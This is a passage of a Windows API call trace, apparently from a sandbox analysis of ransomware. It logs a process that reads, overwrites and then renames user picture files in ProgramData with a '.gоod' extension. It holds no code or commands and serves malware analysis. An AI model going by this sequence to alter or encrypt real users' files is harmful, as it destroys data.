nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x333ffa8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0087.348] CloseHandle (hObject=0x778) returned 1 [0087.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", lpFilePart=0x0) returned 0x3f [0087.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.gоod", lpFilePart=0x0) returned 0x44 [0087.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0087.348] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3045be4d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x930e0)) returned 1 [0087.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0087.348] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat.gоod")) returned 1 [0088.661] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", lpFilePart=0x0) returned 0x39 [0088.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0088.697] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), fInfoLevelId=0x0, lpFileInformation=0x3321948 | out: lpFileInformation=0x3321948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37896d36, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0088.698] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", lpFilePart=0x0) returned 0x39 [0088.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0088.698] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.698] GetFileType (hFile=0x79c) returned 0x1 [0088.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0088.698] GetFileType (hFile=0x79c) returned 0x1 [0088.698] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x0 [0088.698] CloseHandle (hObject=0x79c) returned 1 [0088.726] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", lpFilePart=0x0) returned 0x39 [0088.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0088.726] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0088.726] GetFileType (hFile=0x79c) returned 0x1 [0088.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0088.726] GetFileType (hFile=0x79c) returned 0x1 [0088.726] WriteFile (in: hFile=0x79c, lpBuffer=0x33a9a18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x33a9a18*, lpNumberOfBytesWritten=0x1f9ee548*=0x10, lpOverlapped=0x0) returned 1 [0088.727] CloseHandle (hObject=0x79c) returned 1 [0088.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", lpFilePart=0x0) returned 0x39 [0088.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat.gоod", lpFilePart=0x0) returned 0x3e [0088.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0088.727] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x31196170, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0088.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0088.728] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat.gоod")) returned 1 [0088.728] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", lpFilePart=0x0) returned 0x38 [0088.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0088.728] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), fInfoLevelId=0x0, lpFileInformation=0x33aac60 | out: lpFileInformation=0x33aac60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038)) returned 1 [0088.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0088.909] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", lpFilePart=0x0) returned 0x38 [0088.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0088.909] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0088.910] GetFileType (hFile=0x7b4) returned 0x1 [0088.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0088.910] GetFileType (hFile=0x7b4) returned 0x1 [0088.910] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0088.910] ReadFile (in: hFile=0x7b4, lpBuffer=0x32eb548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x32eb548*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0088.972] CloseHandle (hObject=0x7b4) returned 1 [0088.972] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", lpFilePart=0x0) returned 0x38 [0088.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0088.972] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0088.972] GetFileType (hFile=0x7b4) returned 0x1 [0088.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0088.972] GetFileType (hFile=0x7b4) returned 0x1 [0088.972] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x93038 [0088.973] WriteFile (in: hFile=0x7b4, lpBuffer=0x33c5890*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x33c5890*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0089.012] CloseHandle (hObject=0x7b4) returned 1 [0089.012] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", lpFilePart=0x0) returned 0x38 [0089.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0089.012] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0089.012] GetFileType (hFile=0x7b4) returned 0x1 [0089.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0089.012] GetFileType (hFile=0x7b4) returned 0x1 [0089.012] ReadFile (in: hFile=0x7b4, lpBuffer=0x34636b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x34636b8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0089.054] CloseHandle (hObject=0x7b4) returned 1 [0089.330] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", lpFilePart=0x0) returned 0x38 [0089.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0089.330] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.330] GetFileType (hFile=0x79c) returned 0x1 [0089.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0089.330] GetFileType (hFile=0x79c) returned 0x1 [0089.330] WriteFile (in: hFile=0x79c, lpBuffer=0x3462430*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3462430*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0089.330] CloseHandle (hObject=0x79c) returned 1 [0089.331] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp", lpFilePart=0x0) returned 0x38 [0089.331] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.gоod", lpFilePart=0x0) returned 0x3d [0089.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0089.331] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x317638df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x93048)) returned 1 [0089.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0089.331] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.gоod")) returned 1 [0089.331] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", lpFilePart=0x0) returned 0x38 [0089.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0089.331] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), fInfoLevelId=0x0, lpFileInformation=0x364eb98 | out: lpFileInformation=0x364eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518)) returned 1 [0089.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0089.334] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", lpFilePart=0x0) returned 0x38 [0089.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0089.334] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.334] GetFileType (hFile=0x79c) returned 0x1 [0089.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0089.334] GetFileType (hFile=0x79c) returned 0x1 [0089.334] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0089.334] ReadFile (in: hFile=0x79c, lpBuffer=0x364ef70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x364ef70*, lpNumberOfBytesRead=0x1f9ee6d8*=0x518, lpOverlapped=0x0) returned 1 [0089.505] CloseHandle (hObject=0x79c) returned 1 [0089.506] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", lpFilePart=0x0) returned 0x38 [0089.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0089.506] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.506] GetFileType (hFile=0x79c) returned 0x1 [0089.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0089.506] GetFileType (hFile=0x79c) returned 0x1 [0089.506] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1518 [0089.506] WriteFile (in: hFile=0x79c, lpBuffer=0x369b380*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x369b380*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0089.506] CloseHandle (hObject=0x79c) returned 1 [0089.506] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", lpFilePart=0x0) returned 0x38 [0089.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0089.507] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.507] GetFileType (hFile=0x79c) returned 0x1 [0089.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0089.507] GetFileType (hFile=0x79c) returned 0x1 [0089.507] ReadFile (in: hFile=0x79c, lpBuffer=0x369d620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x369d620*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0089.922] CloseHandle (hObject=0x79c) returned 1 [0089.922] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", lpFilePart=0x0) returned 0x38 [0089.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0089.922] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.922] GetFileType (hFile=0x79c) returned 0x1 [0089.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0089.922] GetFileType (hFile=0x79c) returned 0x1 [0089.922] WriteFile (in: hFile=0x79c, lpBuffer=0x32a5900*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x32a5900*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0089.923] CloseHandle (hObject=0x79c) returned 1 [0089.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", lpFilePart=0x0) returned 0x38 [0089.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.gоod", lpFilePart=0x0) returned 0x3d [0089.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0089.923] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31cf5233, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1528)) returned 1 [0089.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0089.923] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png.gоod")) returned 1 [0089.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", lpFilePart=0x0) returned 0x3b [0089.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0089.924] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), fInfoLevelId=0x0, lpFileInformation=0x33deec0 | out: lpFileInformation=0x33deec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x967)) returned 1 [0089.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0089.925] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", lpFilePart=0x0) returned 0x3b [0089.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0089.925] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0089.925] GetFileType (hFile=0x79c) returned 0x1 [0089.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0089.925] GetFileType (hFile=0x79c) returned 0x1 [0089.925] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x967 [0089.925] ReadFile (in: hFile=0x79c, lpBuffer=0x33dfaa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x33dfaa0*, lpNumberOfBytesRead=0x1f9ee638*=0x967, lpOverlapped=0x0) returned 1 [0089.927] CloseHandle (hObject=0x79c) returned 1 [0090.425] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", lpFilePart=0x0) returned 0x3b [0090.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0090.425] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0090.426] GetFileType (hFile=0x79c) returned 0x1 [0090.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0090.426] GetFileType (hFile=0x79c) returned 0x1 [0090.426] WriteFile (in: hFile=0x79c, lpBuffer=0x3491280*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3491280*, 